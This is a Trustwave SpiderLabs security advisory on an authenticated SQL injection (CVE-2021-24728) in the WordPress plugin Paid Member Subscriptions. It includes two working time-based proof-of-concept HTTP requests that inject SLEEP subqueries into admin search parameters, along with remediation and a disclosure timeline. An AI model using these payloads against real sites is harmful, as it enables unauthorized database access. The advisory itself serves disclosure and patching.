Trustwave SpiderLabs Security Advisory TWSL2021-012:
Vulnerabilities in WordPress Plugin Membership & Content Restriction - Paid Member Subscriptions

Published: 09/10/2021
Version: 1.1

Vendor: Cosmoslabs (https://www.cozmoslabs.com/)
Product: WordPress Plugin Membership & Content Restriction - Paid Member Subscriptions
Version affected:  < 2.4.2

Product description:
The plugin provides functionality for managing users, including membership levels, payment, and access restriction.

Finding 1: Authenticated SQL Injection
*****Credit: Martin Vierula of Trustwave
CVE: CVE-2021-24728
CWE: CWE-89

Multiple parameters are vulnerable to authenticated (admin+) SQL injection.  In the 'Members' page search, the 'order' parameter is vulnerable.  In the 'Payments' page search, both the 'order' and 'orderby' parameters are vulnerable. 

The following PoC outlines a time-based version of exploiting the vulnerability in the Members search 'order' parameter:

GET /wp/wp-admin/admin.php?page=pms-members-page&s=a&pms-bulk-actions=&pms-bulk-actions=&_wpnonce=03b65c5735&_wp_http_referer=%2Fwp%2Fwp-admin%2Fadmin.php%3Fpage%3Dpms-members-page&paged=1&pms-filter-subscription-plan=&pms-filter-payment-gateway=&pms-filter-start-date=&pms-datepicker-start-date-beginning=&pms-datepicker-start-date-end=&pms-filter-expiration-date=&pms-datepicker-expiration-date-beginning=&pms-datepicker-expiration-date-end=&orderby=username&order=,%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%288%29%29%29a%29 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp/wp-admin/admin.php?page=pms-members-page
Connection: keep-alive
Cookie: <admin cookies>
Upgrade-Insecure-Requests: 1

The following PoC outlines a time-based version of exploiting the vulnerability in the Payload search 'orderby' parameter:

GET /wp/wp-admin/admin.php?page=pms-payments-page&s=a&_wpnonce=393d8d31f6&_wp_http_referer=%2Fwp%2Fwp-admin%2Fadmin.php%3Fpage%3Dpms-payments-page%26message%3D1%26updated%3D1&paged=1&orderby=status,%28SELECT%20*%20FROM%20%28SELECT%28SLEEP%284%29%29%29a%29&order=DESC HTTP/1.1

Remediation Steps:
Upgrade the Paid Member Subscriptions Wordpress plugin to version 2.4.2 or the latest stable release.

Revision History:
04/20/2021 - Initial email to vendor
05/03/2021 - 2nd attempt to contact vendor
07/16/2021 - 3rd attempt to contact vendor
07/16/2021 - Disclosed finding to plugins@wordpress.com
07/17/2021 - Vendor releases fix
08/06/2021 - Advisory verson 1.0 published
09/10/2021 - CVE assigned
09/10/2021 - Advisory version 1.1 published

References
1. https://wordpress.org/plugins/paid-member-subscriptions/#developers


About Trustwave:
Trustwave helps businesses fight cybercrime, protect data and reduce security 
risk. With cloud and managed security services, integrated technologies and a 
team of security experts, ethical hackers and researchers, Trustwave enables 
businesses to transform the way they manage their information security and 
compliance programs. More than three million businesses are enrolled in the 
Trustwave TrustKeeper® cloud platform, through which Trustwave delivers 
automated, efficient and cost-effective threat, vulnerability and compliance 
management. Trustwave is headquartered in Chicago, with customers in 96 
countries. For more information about Trustwave, visit 
https://www.trustwave.com.

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.